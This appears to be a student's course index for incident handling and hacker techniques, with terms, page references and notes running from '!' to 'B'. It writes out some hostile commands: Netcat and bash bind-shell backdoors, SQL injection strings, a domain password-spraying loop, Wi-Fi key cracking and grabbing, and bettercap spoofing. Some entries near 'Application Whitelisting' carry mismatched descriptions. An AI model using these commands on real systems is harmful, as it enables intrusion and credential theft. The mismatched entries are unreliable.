' or 1=1;--	4	92	can be used by attacker to choose the admin's userID number without even knowing the admin account name resulting SQL is select * from users where name = '' or 1=1; --'; •• Example on page 90-92
more < c:\file:stream1	5	75	If you know the stream exists and you know its name, you can view its contents using the more command --more < c:\file:stream1
!exploitable	3	72	Microsoft released a tool in 2009 that works with a debugger to analyze software crashes to determine whether they may be exploitable to run code of an attackers choosing on a target machine. The program calculates an exploitability rating to indicate how easily it estimates it would be to develop an exploit for a given crash condition.
# prompt in linux	1	172	means you are logged in as root
$ prompt in linux	1	172	means you're a user
$ chmod 555 listener.sh (Netcat Persistent Backdoor Listeners)	3	16	• To eliminate the problem and make a totally persistent listener that will let the attacker log out, the bad guy could dump the while loop syntax we described into a file, called listener.sh. The attacker can then change the permissions on this file to readable and executable, so that it can run as a script, using the command
$ nohup ./listener.sh & (Netcat Persistent Backdoor Listeners)	3	16	• On UNIX and Linux, the nohup command makes a process keep running, even if the user who invoked it logs out. Thus, this listener keeps on listening, giving the attacker far more reliable backdoor access to the machine.
$ while [1] ; do echo "Started"; nc -l -p [port] -e /bin/ sh; done (Netcat Persistent Backdoor Listeners)	3	16	• can make a Netcat listener persistent on UNIX and Linux by using a while loop, invoking the following command:
./neighbor.sh wlan0 etho0 asciiImages.pl	2	79	rewrites any images retrieved over HTTP as ASCII art for I love my neighbors AP
./program	1	187	executes a *program* from current working directory
.vmdk	1	162	stores virtual disk file (hard drive) can have more than 1
.vmsn	1	162	stores snapshot file of the system
.vmss	1	162	holds suspended state file for paused virtual machine
.vmx	1	162	Virtual machines's config
/bin/bash 0<backpipe | nc -l -p 8080 1>backpipe	3	20	$mknod backpipe p $/bin/bash 0<backpipe | nc -l -p 8080 1>backpipe similar to "nc -l -p 8080 -e /bin/bash" useful when netcat is not compiled with the -e option
/data/misc/wifi/wpa_supplicant.conf	2	74	the gobbles where androids store PSK info for Wi-Fi. Command for it is: grep -E "ssid|psk" /data/misc/wifi/wpa_supplicant.conf
/dev	5	64	contains info on devices on the system, such as chunks of your hard drive and refrences to terminal
/dev	1	176	soredevices (drives, terminals, etc)
/dev/kmem	5	46	holds map of kernal memory on Linux
/etc	1	176	configuration items, accoint info (/etc/passwd) and log files (syslog)
/etc/inetd.conf	2	113	comment out the line you want to disable by putting a # at the beginning of the line
/etc/network/interfaces	1	191	location of network interface configs
/etc/passwd	1	176	account information
/etc/rc.d	2	113	file that has all the services listed in linux
/etc/shadow	1	176	hashed passwords no $ DES $1 MD5 $2 Blowfish $5 SHA-256 $6 SHA-512
/etc/syslog.conf	5	66	config for the system logger, attackers to see where system is configured to store logs and modify those logs by hand
/etc/xinetd.d/service	2	113	delete file or edit so that fle says *disable=yes*
/home	1	176	users home directories
/lib	1	176	common libraries
/mnt	1	176	various remote and temp file systems (CD-ROMS, etc..)
/opt	1	176	optional items, specialized tools added to a distribution
/proc	1	176	virtual file system to store kernel info
/root	1	176	root login account home directory
/tmp	5	64	contains strangely named files created by various apps to temp store data • emptied at reboot
/tmp	1	176	temp data, cleared at reboot
/usr	1	176	user programs and other data
/usr/local/man	5	64	popular place to hide files
/usr/src	5	64	defaul location for source code in linux • popular place to hide files
/var	1	176	different items including logs
/var/log	5	66	location on linux that stores system logs
/var/log/	1	176	holds different log files

@FOR /F %p in (pass.txt) DO @FOR /F %n in (users.txt) Do @net use \\SERVIERIP\IPC$ /user:DOMAIN\%n %p 1>NUL 2>&1 && @echo [*] %n: %p && @net use /delete \\SERVERIP\IPC$ > NUL	2	134	for each user account in users.txt try to connect with each password in pass.txt • tries to authenticate with each combination against a domain controller. • examples on page 134, and 135
\windows\system32\winevt\logs	5	81	Default path for event logs (Windows)
<	3	13	Dump input to a file
>	3	13	Dump output to a file
1, '1',1,'1	4	93	how the SQL injection union prints out the table column names and such •• example on page
6 Primary Phases - Incident Handling	1	15	Preparation • Identifiation • Containment • Eradication • Recovery • Lessons Learned; see also p18
6 Primary Phases in Incident handling	1	18	Chart for the 6 steps and brief flow discussion
absolute path	1	179	cd /etc/init
Access	5	6	• Trojan Backdoors • Wrappers/Packers • Memory Analysis •Rootkits
Account Harvesting	4	76	1) ability to discern validate user IDs by observing how the server responds to valid versus invalid authentication requests 2) attackers will automate harvesting through Scripts using two techniques -shell scripting with a tool like wget which is built into many linux distros and can be downloaded for free fro windows- perl with CURL, a general purpose library for making web requests 3) script based harvesting depends on the format of the userID - numeric - exploit by incrementing through pattern- user specified - exploit via dictionary file and permutations
Account Harvesting - Burp Pro	4	78	Screen shot from Burp Pro showing account length output
Account harvesting - script based	4	76	depends on format of userID* Numeric (credit card numbers or numbers with pattern) - exploit by incrementing through pattern* User specified - exploit via dictionary file and permutations
Account Harvesting defense	4	81	**Preparation**: - Authentication error messages must be consistent: should be no difference between the bad user ID and good user/bad password conditions - User ID should be tracked for given number of bad logins and then temporarily lockout account - Account lockout could be time to restore access after 30 min, or require a call to the helpdesk - Be careful about cost of helpdesk calls for account lockout reset **Identification:** - Frequent login attempts with no activity even after successful login
Account harvesting: Bad userID	4	77	example screen shot of a website's return for a bad user ID
Account harvesting: Bad userID burp example	4	78	using bad userIDs can make application provide error codes, automated scripts help determine valid userID
ACK	2	100	Acknowledgement
ACK scans	2	103	useful in getting through simple router-based firewalls (not using stateful)
activate instance ntds	4	19	command to get the ntdsutil.exe tool to back-up AD info • example on page
Active Defense Harbinger Distribution	1	94	distro containing WordWebBugs, which identifies where your sensitive data is
active interrogation	2	36	leverages list of common hostnames (or mutated list of hostnames, such as common hostname followed by series of numbers) combined with target domain name, querying the combination of hostname and domain name to determine if DNS name is registered
add directories to you path	1	188	
Additional Tools	1	75	Sysinternals Tools are free (Process Explorer, Process Monitor, TCPView) • Center for Internet Security has hardening templates and scoring tools for windows
Admin attacking- Cross site scripting	4	105	An attacker may provide input that uncludes a browser script, the application logs this input and passes it into a logging server. When an admin later logs into the server to review logs, the attackers script runs in the admin's browser, stealing cookies or session information and delivering them to the attacker, or even alter the application in some way, using the admin's hijacked credentials.
ADMIN$	2	132	windows default admin share
admin-level access	1	34	only handlers w/ enough experience to admin systems of that type • notify actual admins prior to log-on • tread lightly and don't make changes without updating the admins • never use priviledge passwords
After-hours visit	1	153	what is suspect storing in desk, items that don't belong, create image of system using industry software
Aircrack-ng	2	75	used to crack WEP and WPA preshared keys • accepts packet capture files (like kismet's pcapng) and word list command-line arguments • example on page •Aircrack-ng tplink-wpa2psk.pcap -w words
Aircrack-ng tplink-wpa2psk.pcap -w words	2	75	command used to crack a pcap file with a words list
airdecap-ng	2	76	decrypts PSK packet capture • creates new packet capture with -dec filename suffix • used in Wireshark • airdecap-ng -p 70212198 tplink-wpa2psk.pcap -e TP-LINK_FF38
airdecap-ng -p 73243 tplink-wpa2psk.pcap -e TP-Link_FF38	2	76	example PSK packet caputure decrpytion

Alternate Data Streams	5	76	To delete a stream, you can move the file to FAT partition and then move it back to NTFS. Will not show ADS behind Windows reserve filenamesCOM1, COM2, LTP1, AUX etc. • dir /r shows ADS files
Alternate Data Streams (NTFS) - Covering Tracks	5	76	smbclient can get data from ADS (windows or linux)---prior to Vista and 2008 server, no built-in finding or deleting a stream-----To delete a stream, you could move the file to FAT partition, and then move it back.-----On Vista, Win2008 and Windows 7, the dir /r option for listing ADS Will not show ADS behind Windows reserved filenames----COM1, COM2, LTP2, AUX, etc..--*** LADS is a tool dedicated to finding ADSs in NTFS-- -most AV doesn't scan ADS routinely
Alternate Data Streams in NTFS	5	76	The hidden file in the stream will follow the other file around through normal copying between NTFS partitions.--On Linux machines that have connected to a Windows box with NTFS, smbclient can get data from ADSs---But, Windows machines prior to 7 and 2008 Server offer no built-in capability for finding or deleting a stream--• To delete a stream, you could move file to FAT partition and them move it back--• On Windows 7 and later, the dir command offers the /r option for listing ADSs---Will not show aADS behind Windows reserved filenames (COM1, COM2, LPT1, AUX, etc)--Alternate Data Streams Lab page 103
Analyzing network/host detects	1	52	look up the service (IANA or google) • does destination host run service • is it a backdoor
Ankle Biters	2	9	Derogatory term for less informed or less skillfull attackers. Misuse security vulnerability information and tools tonperpetrate their attacks (3lit3 haxx0rs) also known as script kiddies
Anonymous Hacking Collective	4	137	High Orbit Ion Cannon(HOIC) multithreaded to generate more traffic quicker; support for customizable javascript with numerous different pages; features boosters (JavaScript-based scripts) and is used by the Anonymous hacking collective
Anonymous Remailers	2	10	so people can communicate without being observed by oppressive governments
Anti-Disclosure	2	9	vulnerabilites that are hidden until adequate defenses are released
Anti-Disclosure Movement, Rise	2	9	• script kiddies are abusing tools • vendors don't want vulnerabilities publicly released • some no longer release exploits publicly (no-free bug movement) • hackers targeting proponents of full disclosure • DMCA implications
antidisclosure,	2	9	vulnerabilites that are hidden until adequate defenses are released (See PG 9 General Trends)
Anti-Reverse Engineering for Executables	5	19	compressing a bloated execuatable to make it smaller for distro or "packing" • for thwarting Windows reverse engineering of mailicous code by making it difficult to analyze • limits string searches and direct disassembly giving attacker more obsurity • UPX is most popular, Yoda's Protector, Themida, as well as commercial Thinstall, PECompact, PEBundle
Anti-XSS library - Microsoft	4	106	library for ASP.NET allows developers to encodes all output not included in a specific whitelist before sending it to browsers to prevent XSS attacks.
API Hooking	5	36	Overwriting API calls where running processes are undermined by their interactions with the OS itself.
app-level trojan horses	5	9	Attackers trick victim into running tools or installing them selves • A server executable is installed on victim machine, the server is controlled from a client machine, the interface allows the attacker to completely control the victim system. The majority, but not all (VNC) are detectable with anti-virus tools • payload option in Metasploit • Capabilities pg 15
Application Level detection	1	54	Application logs (web apps, app server for thick-client apps, cloud-based services) • Application log data: Dates, Timestamps, Users/Admins, Actions and trasactions including user input
Application Whitelisting	3	113	Maintain secrecy of notify law enforcement
APPLICATION.EVTX	5	81	Most organizations maintain secrecy until they must notify law enforcement
APPLICATION.LOG	5	81	Thats not always the best policy, though
Application-level Trojan Examples	5	9	Get management buy-in and sign -off for your default practices
Argon2	4	28	Document any purposeful deviations from your standard practice when you opt to do so
Armitage	3	81	• contain and clear or watch and learn • management buy-in and sign-off on practices
ARP - Address Resolution Protocol	3	29	maps IP address to MAC address, explanation on how it works on page
arp -a	3	58	check for ARP entries from local machine in windows/unix ••example p126 WB

ARP Cache Poisoning (Foiling Switches)	3	33	• Step 1: The attacker sets up IP forwarding so all packets sent to the attacker s machine are redirected to the default gateway (router) for the LAN. The attacker s machine, therefore, acts much like a router itself. • Step 2: The attacker sends a gratuitous ARP message to the victim machine, mapping the Ip address of the default gateway for the LAN to the attacker s MAC address. The victim's ARP cache is therefore poisoned with false information. • Step 3: The victim sends traffic, but it's all transmitted to the attacker's machine because of the ARP cache poisioning. • Step 4: The attacker sniffs the info using a sniffer. • Step 5: The attacker's machine forwards all the packets back through the switch to the default gateway - Note that this attack doesn't really go after the switch. Instead, it messes up the ARP cache of the victim machine, redirecting traffic to the attackers switch port and allowing the attacker to sniff a switched environment. • Also, note that the IP forwarding will likely decrement the TTL of the packet as it moves to the outside world. If the attacker isn't clever about implementing IP forwarding, an extra hop (the attacker's machine) will be noticeable in the TTLs and any traceroutes to the victim machine! To avoid this, an attacker could use FragRouter configured not to fragment, with a simple change to the code commenting out the line that decrements the TTL. DATA LINK LAYER
arp -e	3	58	shows ARP entries from local machine unix
ARP Scans	2	103	Identify which hosts are on the same LAN, does not work through a router
ARP Security or Dyamic ARP instpection			Prevents attackers from assuming the IP address of trusted clients. Any traffic that is a mismatch will be dropped
ARP table defense			hardcoding the ARP table mitigates against network-layer attacks. This creates more management overhead, because you have to update these ARP tables in each system if and when a change occurs.
Arpspoof (Passive & Active Sniffing)	3	32	• Arpspoof allows an attacker to inject spurious ARP responses into a LAN to redirect all traffic from its intended destination to the attacker running a sniffer. Then, if IP forwarding is activated, the packet routes through the attacker's machine and gets forwarded to the true destination.
ASEP	1	67	registry and file locations that start software automatically called ASEPs
Asleap	2	80	tool that provides a dictionary-based attack against the lightweight extensible access protocol (LEAP) protocol used in some wireless environments; created by Josh Wright
Assessment Questions Cont.	1	83	questions to determine level of skill and prereqs required to exploit a vulnerability • is vulnerability present in default config • is fix available • other factors exitst to increase/decrease risk • Initial Security Incident Questionnaire for Responders
Assesssment Questions	1	81, 83	questions to determine how much damage could be caused on the page
Assign Handlers	1	44	Primary and Helper • idealy both per incident
at command	1	71	depreciated command for older windows systems • use schtasks.exe instead
atbroker.exe invocation / built in tools	3	116	windows built-in tool for accessibility can be used to run malicious code by createing registry keys • example on page
Attack Process	2	4	5 steps: -Reconnaissance -Scanning-Exploiting -Keeping access -Covering tracks
Attack Process - Step 1 - Reconnaisance	2	4	an attacker conducts an open source investigation to gain information on the target, extremely important to attackers out to get a particular site
Attack Process - Step 2 - Scanning	2	4	an attacker uses a variety of mechanisms to survey a target to find holes in the target's defense
Attack Process - Step 3 - Exploiting	2	4	an attacker tries to gain access, undermine an application, or deny access to others. (Gaining access, Web app Attacks, Denial of Service)
Attack Process - Step 4 - Keeping Access	2	4	an attacker maintains access by manipulating the software installed on the system to achieve backdoor access
Attack Process - Step 5 - Covering Tracks	2	4	an attacker hides from users and system admins using various techniques
Attack: General Trends	2	10	Excellent Communication though the computer underground--Chat, web, informal groupings, and hacker conferences Rise of Hacktivism--Hacking to make a political point--Not just web-site tampering---Ransomware
Attackers out to get a particular site	2	16	more detailed in reconnaissance - This step is extremely important. Very helpful step for experienced attackers
Attacking WPAD	3	56	tools thatsupport attacking Web Proxy Auto-Detection (WPAD) - MitMf and Responder • This is where a system automatically attempts to find a system with a name of WPAD and download a PAC file with Proxy settings • Once we are the proxy, we can intercept and hijack web traffic • However, we can also intercept traffic for specific domains (think PAC Backdoors) and harvest full HTTPS URL information for things like Session IDs pacdoor is a tool which does this. • **not on by default**

Attacks for Fun and PROFIT	2	11	Computer crimes generally for profit, sometimes for hacktivism; How to make money on malicious code • Sell the code for backdoors/bots • Spam and web-based advertising • Pump and dump stock schemes • Phishing: e-mail, phone, and targeted (spear) phishing • Denial of Service extortion • Not just porn and gambling sites as targets any more • Keystroke loggers stealing financial information • Rent out armies of infected systems for all of the above RAM scrapers pulling CC numbers of POS terminals • crypto currency miners
Automated Search Engine Recon	2	50	Bishop Fox's **SearchDiggity** suite includes Google Diggity, Bing Diggity, and other search capabilities • other modules include: malware Diggity, Data Loss Prevention Diggity, Flash Diggity • Many of the above"diggity" components require an API for the respective service • **Recon-ng**, by Tim Tomes, is another powerful recon tool that ties together numerous different recon sources into one framework • Determined attackers will use these tools to gain access to target environments without even using an exploit
autoruns.exe			Review Auto Start Entry Points
Autostart Extisibility Points (ASEPs)	1	67	registry and file locations that start software automatically called ASEPs
Avatar Rootkit	5	52	Uses two different device driver infections: 1) bypasses HIDS, 2) persistence. • uses bootkit method of infection and persistence to bypass driver signing requirements • uses both user and kernel mode techniques • Conducts a privilege escalation straight from metasploit• Infects random drivers from list, doesn't change driver size • Uses RSA encryption which impacts detection.
axfr	2	35	Unix DNS Zone transfer
Back Door Factory (BDF) and BDF Proxy	3	34	Intercepts executable files and automatically backdoors them in transit
backdoor	5	6	program that allows an attacker to access a system, bypassing security controls. Some backdoors are also trojan horses like: an innocuous-looking program that is actually netcat listener, rootkit components, or email attachments that contain bots
backdoor factory	3	114	closed their doors as an evaiding enpoint security system
backoor, trojan horse capabilities	5	15	common capabilities: Keystroke logger (gets passwords) • Create dialog boxes (social engineering) • lock-up / reboot a machine • get detailed system info • access files • create VPNs • access camera and audio • Many of these features are found in Meterpreter
Badsum TCP Reset	2	117	Many IDS and IPS do not validate the TCP checksum. Too much overhead --An attacker can insert a TCP Reset with an invalid checksum to clear the IDS/IPS buffer.--Target system will drop any packet with an invalid TCP Checksum, per checksum RFC's. • example on page
base64-encoded command-line options	1	65	can indicate an attack or malware
Bash	1	170	Default shell on most linux distros • can search history with CTRL+R
bash_history	5	67	• Shell History • Editing shell history pg 68
Bcrypt	4	28	requires more memory to produce a password hash with greater complexity than standard hash (72 character password llimit with no NULL bytes)
BEAST (Browser Exploit Against SSL/TLS)	3	46	• could exploit by planting JavaScript in a browser, which would generate encrypted messages based on chosen plaintext.
BeEF	4	103	by Wade Alcorn, takes interactive control of the browser via an XSS hook further by including a modular framework including: port scanner, history grabber, software inventory, deface page, pivot to another machine
BeEF hook	4	103	loaded into XSS-vulnerable website to be controlled by BeEF server; used to control victim brower by using BeEF modules; can be used to exploit another machine
BeEF modules	4	103	• port scanner: causes the victim browser to scan any IP address the attacker chooses • visited URL grabber: pulls browser history from victim machine • software inventory modules: lets attacker know what browser plugins are installed, identifies if is in virtual machine • alter current web page view in browser (deface webpage) • deliver metasploit exploit to another target (cause hooked browser to exploit another machine) • integration with XXS Shell
beffer overflow example	3	64	example on page shows 2 inputs and how they cause a buffer overflow because they are not wirtten correctly • fgets (bufferA, sizeof(bufferA), stdin); is a command to perform bounds checking
best64.rules	4	44	hashcat file that mutates input passwords in ways that mirror how users typically select passwords
Bettercap (Passive & Active Sniffing)	3	32	• Bettercap is a Ruby framework which automatically discovers targets, ARP cache poisons them. It then runs multiple different parsers and interception tools to hijack the traffic. It also supports a very robust plugin architecture for additional scripts to be easily written and integrated into the tool. Has plugin for TCP motification p34
Bettercap (screenshot) DNS Poison	3	39	See screen shot of bettercap in action poisoning MS.com to Yahoo

bettercap attack	3	48	• In the bettercap attack, the client sends an HTTP request, as usual. The bettercap tool passes this request onto the web server. The web server attempts to send a redirect telling the browser to go to https://www.mybank.com. bettercap tool intercepts this redirect in the response and tells the browser to continue using http. The attacker then uses https to access the site. All traffic from the browser to the attacker is cleartext, http, and all traffic from the attacker to the website is SSL-encrypted https. No warning messages are shown to the browser because it never uses SSL. Also, bettercap injects a special lock logo for a favicon to display in the browser's location bar. Many users think their connection is secure because of this lock icon, even though all links in the location bar itself display as "ttp://"
bettercap -eval "events.ignore endpoint; set $ >> {reset}"	3	39	starts the bettercap process, example on page
Bettercap MITM	3	39	example of how to perform a MITM attack • invote bettercap: bettercap -eval "events.ignore endpoint; set $ >> {reset}" • invoke DNS spoofing: set dns.spoof.address w.x.y.z set.dns.spoof.domains WebSiteName.com dns.spoof on • invoke the arp spoof: set arp.spoof.target TargetIP arp.spoof on
BGP4	5	153	flaw in the BGP4 could cause major disruptions world wide
Biadu	2	47	Chinese search engine that allows for searching email addresses; many search engines replace the "@" with a wildcard
Binary File reconstruction			Packet captures from a sensor at the network border can produce the binary
Bind Shell to Arbitrary Port (Metasploit Payload)	3	83	this opens a command shell listener on any TCP port of the attackers choosing.
Bind Shell to Current Port (Metasploit Payload)	3	83	this opens a command shell listener using the existing TCP connection used to send the exploit
Binder	5	18	• Another name for Wrappers • trojan horse executable
Bishop Fox's SearchDiggity	2	50	SearchDiggity is a suite that includes Google Diggity, Bing Diggity, and other search capabilities
Blackshades	5	9	• app-level trojan horse
Blogs	2	40	Other open source information
Bloodhound	2	139	tool graphs quickest way to get domain admin; completes this tasks automatically, •builds a map for the enviornment •Find all systems where Domain Users is in the local Administrator group •Find one of those systems where a domain admin is logged on • Steal the domain administrators acess
Blue Pill	5	48	Kernel mode rootkit technology where attacker inserts a hypervisor between the hardware and the OS. • uses AMD Virtualization instructions • implements a hypervisor underneath Windows
Boosters	4	137	Used in High Orbit Ion Cannon(HOIC) they are Java base scripts
Booting virtual machines	1	163	how to start/stop/suspend VMs
Bot communication Channel	4	66	1) IRC tells on a standard IRC port (TCP 6667). IRC allow for one to many communications.2) IRC on nonstandard ports (TCP 3000 or TCP 3333)3) social networking sites accessible via HTTP and HTTPS to implement command and control sessions for their botnets* Waste (distributed Peer-2-Peer communication)* HTTP to an one or more web sites* Social networking sites* Twitter, YouTube, Google Docs, DNS
Bot Distribution	4	65	Bots are installed:- Worms carrying bot as payload- email attachments- bundled with useful game or app- browser exploits/drive-by downloads Step 1: the attacker takes over e-commerce or other site on the Internet. The attacker installs some code on this site that can exploit browser vulnerabilities.Step 2: an innocent victim surfs to the affected website.Step 3: the affected website responds with a webpage that exploits the browserStep 4: based on the exploitation of step 3, the browser connects to the attackers site, and grab some malicious code from it, often a bot.
Bot Functionality	4	67	•Morph their code for file infection, attempting to dodge AV tools •Run command with SYSTEM priviledges •start a listening shell on machine with SYSTEM privileges •add/remove file shares or FTP files •add autostart entry to activate a program/script during system boot •scan for other vulnerable or infected systems that may have the same bot
Bot Functionality - More	4	68	•Distributed DoS agent: Launch packet floods (SYN, HTTP, UDP, etc.) •Create HTTP proxy (for anonymous surfing) •start a GRE (Generic Route Encapsulation) Redirector, so an attacker can send IP packets across a GRE Tunnel to an infected system•Start a TCP redirector like Netcat relay--Harvest email addresses •Load a plug-in into the bot--Shut the computer down--Delete bot •Some versions even look for virtualization
Bot Herder	4	64	AN attacker that uses a collection of bots under his control.
Bot Nets	4	64	Collections of bots under the control of a single attacker are called bot nets. The attacker is called a bot herder. Used for controlling systems on a grand scale.

Bots - What to do	4	69	respond quickly to a spreading threat that -- preauthorize mermission to react to spreading malware problem --preauhorize permission to take networks down to restrict spread • Techniques being reused and adapted: Syrian Electroic Army: polymorphic android malware -- US CIA: "sonic scredriver apple malware" -- Russian Hackers: LoJax UEFI malware • set an egress firewall rule at hosts subnet perimeter to prevent command and control communication
bots, The rise of	4	64	Increasingly, worms are used to distribute bots---Bots are software programs that perform some action on behalf of a human. Bots are specialized backdoors used for controlling systems and masse, with a single attacker controlling group of bots numbering from a dozen to over 1 million affected machines.Bots can be used to: maintain backdoor control of the machine controlling an IRC channel acting as a mail relay providing anonymizing HTTP proxy launching denial of service flood
Bounce Mode - Covert_TCP	5	100	*The client spoofs the address of the receiving server, duping the bounce server to foward the message.0. The attacker establishes a Covert TCP server and puts it in ACK mode and selects a bounce server(needs internet access, preferablly a high profile Internet commerce web site or a DNS serve.) - NO ATTACKER SW IS REQUIRED ON THE BOUNCE SERVER1. The attache generates a TCP SYN packet (from client machine) with a spoofed source address of the receiveing server and a destination address of the bounce server.2. The bounce server receives the packet. If the destination port on the bounce server is open it send a SYN/ACK response. If it is closed it sends a RESET response. 3. The receiving server get the SYN/ACK or RESET, recover the character from the sequence field and waits for more. only transfers ACCII files between systems. **Covert_TCP offers the ability to carry ASCII data in: IP Identification field, Sequence Number field, and Acknowledgment Number field**
Breach notification Laws	1	24	laws that define who needs to be notified if an incident involves PII or PHI • 45+ states have legislation + federal and others
breakout time	2	13	from initial compromise to privilege escalation to additional internal network targes
Bridged Mode - Vmware	1	167	how to get into bridged mode on your VM
Browser Exploitation Framework (BeEF)	4	103	by Wade Alcorn, takes interactive control of the browser via an XSS hook further by including a modular framework including: port scanner, history grabber, software inventory, deface page, pivot to another machine. Requires hooks to be loaded on an XXS vulnerability website.
Browser manipulation Beyond Session IDs	4	118	You can view and edit ahything that's passed to the browser: Account numbers, Balances, Some shopping carts pass price info to the browser (the web app trusts whatever comes back), Any variable passed to the browser can be altered by the user… unless the application performs some integrity check.
Brute force attack	4	10	•Trying every possible password until you are successful •Will always result in finding the password, may take a very long time. can guess a hashed password•Time depends on complexity of encryption or hashing algorithm
btmp	5	70	log file: bad login entries for failed logins /var/log/btmp log file: currently logged in users /var/tmp/utmp log file: past user logins /var/tmp/wtmp
Buffer Overflow	3	63	• allows an attacker to execute arbitrary commands on your machine• take over system or escalate privileges (get root or admin privileges) • some work locally, others across the netowrk • based on moving data around in memory w/o properly checking its size (giving the program more data than the developers of the program alllocated for it, casued by not having proper bounds checking in software) • same core issue (non validated input) for heap and integer based overflows • takes advantage of applications that do not adequately parse input by stuffing too much data into undersized recepticles. Allows attacker to execute arbitrary commands, take over system or escalate privileges. Encode to avoid bad characters terminating strings ; Functions associated with Buffer Overflow: strcpy, strncpy, strcat, sprintf, scanf, fgets, gets, getws, memcpy, memmove
Buffer Overflow - Additional Characteristics	3	75	It is helpful to have small exploit code so that it fits into the buffer. The raw machine language must not contain anything equivalent to characters that are filtered out or would impact string operations.
Buffer Overflow - Cram Input	3	72	Brute Force Approch• Shove a repeating patterrn of arbitrarily long characters into every possible opening - Every user input -name, address, configuration paramters• Look for a crash, where the instruction pointer (EIP on x86, RIP on x64) contains your pattern- That means you were able to verflow a buffer and get your input into the instruction pointer

Buffer Overflow - Creation Steps	3	70	1) Finding Potential Buffer Overlows (Known Weak Functions, Cram Input) 2) Push the proper executable code into memory to be executed 3) Set the return pointer so that it points back into the stack for execution • walkthough on page
Buffer Overflow - exploit	3	69	Two Options - use an off-the-shelf exploit someone else already created (script kiddie approach, very common, numerous exploits availble via exploit-db.com, packetstormsecurity.org, and other sources, admins may have already patched against it) -create a new exploit for a new vulnerability (admins likely won't know about it, this is the realm of zero day exploits)
Buffer Overflow - Finding potential overflows *Step 1	3	71	• Search the binary for known weak function calls using debugger or strings• Use a tool for analyzing Machine language code (find patterns consistent w/ buffer overflow flaws, metasploit's msfelfscan(Linux) and msfpescan(Windows)) • Search for weak function calls, such as -strcpy, strncpy, strcat, sprintf, scanf, fgets, gets, getws, memcpy, memmove
Buffer Overflow - Push Exploit Code into Memory *Step 2	3	74	The exploit is an arbitary command to be executed in the context and with the permissions of the vulnerable program.- Overlfows in SUID root programs and processes runnign as UID 0 are special prizes for Unix/Linux.- Overflows in SYSTEM-level processes are treasured by attackers in Windows.- Exploit itself is often called "shell code. Attacker will try to invoke a shell because shell can be fed arbitrary commands to run. Exploit is in machine language - Tailored specifically to the processor architecture- Exploit must conform to the OSthe attacker must push exploit code into memory of the vulnerable program to run
Buffer Overflow - Return Pointer Improvement	3	77	• Include NOPs in advance of the executable code; then if your pointer goes to the NOPs, nothing will happen; execution will continue down the stack until it gets to your instructions; NOPs can be used to detect these attacks on the network • the package that contains the NOP sled, attacker machine code, and RP is sometimes called an "egg"
Buffer Overflow - Setting the Return Pointer *Step 3	3	76	Most difficult part of creating a buffer overflow exploit The attacker doesn't know exactly which memory location the executable code is in. -Depends how the target system was complied-Some of it is determined at run time.Guess what the return pointer should be.- looking at the source code helps- Even with a debugger, you can analyze the code and get an estimate of how much space is included between the buffer and the return pointer
Buffer Overflow - weak functions	3	71	Look for functions in programs that have Buffers...strcpy, strncpy, strcat, sprintf, scanf, fgets, gets, getsws, memcpy, memmove
Buffer Overflow Defenses	3	97	Identification -Unusual server crashes-Use various non-executable system features in Solaris, Windows, Linux, and HP-UX to alert you when someone tries to execute code out of the stack. - IDS and IPS tools have signatures to look for buffer overflow attacks. Set up alerts. - Look for new accounts on the system. Containment: -Harden and patch similar systems on your network -Deploy non executable system stacks Eradication -If system compromised as admin/root, rebuild from original media and patches Recovery: -Carefully monitor system once its back in production.
Buffer Overflow Defenses - Additional	3	93	• If you are a software developer • always check the size of user input to make sure it fits • Truncate data or give an error if it's too big • User input from GUI, network, command-line, environment variables - Regardless of the programming language (C, C++, Perl, Java) • Controversial • C and C++ are most imortant languages to be careful in, because they rely on the progammer to manage memory • Buffer overflows are possible (albeit somewhat unlikely) in other languages, including Perl and Java, especially if such code is linked in with C libraries
Buffer Overflow Defenses - Data Execution Prevention in Windows	3	91	• Preparation (CONT): - Data Execution Prevention in Windows • Modern Windows systems (XP SP 2 and later) include Data Execution Prevention(DEP) functionality • Marks pages non-executable, including the stack • Hardware and software-based DEP - Hardware-based DEP works only on machines with processors that support execution protection (NX) technology • Software-based DEP is activated by default for "essential Windows programs and services" - Reverse engineering this is a very active area of research • View the setting at Start→Settings→Control Panel→Advanced. Click on Setting under Performance and go to Data Execution Prevention • Many modern Metasploit exploits and payloads can dodge DEP using return-oriented programming techniques

Buffer Overflow Defenses - Preparation	3	89	- At a minimum, you must keep your systems patched - Vendors frequently release patches for various programs that have buffer overflows - A robust patching process involves rapidly obtaining, testing, and applying patches - Utilize host-based Intrusion Prevention System that offers buffer overflow protection by : • Blocking certain calls into the kernel from certain applications • Offering addional memory protection to areas like the stack - Deploy appplication white listing software
Buffer Overflow Defenses - Preparation Build Time	3	90	• Preparation (CONT): - Build Time Preparation • Configure system so that no instructions can be retrieved from stack • Stops some buffer overflows, but not all • May break some applications that do unusual things with the stack • Still very useful on sensitive systems • Grsecurity • PaX • SELinux • Windows Defender Exploit Guard (ED)
Buffer Overflow Defenses: Programming	3	94	Preparation--Avoid programming mistakes -Know what buffer overflows are and how to avoid them---Awareness/training for developers -Code reviews---Writing Secure Code 2 by Howard and Leblanc---Secure Programming for Linux and UNIX Howto by David Wheeler
Buffer overflow issues; File Parser	3	101	programs that open files have persers, many have buffer overflow flaws • reading a file created by attacker could crash and app or execute commands • apps with this type of history: WinZip, Itunes, Wordpad, Antivirus tools (Symantec, Trend Micro, Mcafee), Encase and Sleuth Kit forensics, Office Tools (Word, Power Point, Excell), Adobe (acrobat, reader, flash)
Buffer Overflow Problem: Protocol Parsers and File Parser	3	99	Are a particular problem areas for buffer overflow vulnerabilities.---Parsers grab data from the network and parse it for an application. The code that breaks the data down into its component fields is often ripe with buffer Overflow vulnerabilities--Need to be run in admin mode to grab packets in promiscuous mode.---Attacker can flood your network with this type of exploit sending the attack to arbitrary machine addresses on the port associated with the vulnerable service
Buffer Overflow Stack	3	67	diagram | the stack is LIFO (last in first out)• programs call their subroutines, allocating memory space for function variables on the stack • the stack is like a scratchpad for storing little items to remember• the stack is LIFO - you push things on the top of the stack and pop things from the top of the stack• the return pointer contains the address of the calling function. (ie Point we want to return to when the function finishes running.)
Buffer overflow: Cram Input	3	73	• Attackers will cram using increasing sequences of the "A" character into every input - Enviromental varriables, Every field sent in the network, GUI fields, Command line options, Menus, admin interfaces• Then, to find which of the As made it creash, they enter input of cyclic patterns or other unique text and look for the characters that ended up in the RP(pinpoints the exact offset for the RP)
Buffer Overflow: Smashing the stack	3	68	User data is written into the allocated buffer by the subroutine---If the data size is not checked RP can be overwritten by user data • Attacker exploit places machine code in the buffer and overwrites the RP---When function returns, attacker's code is executed
BUGTRAQ	1	16	mailing list for incident sharing
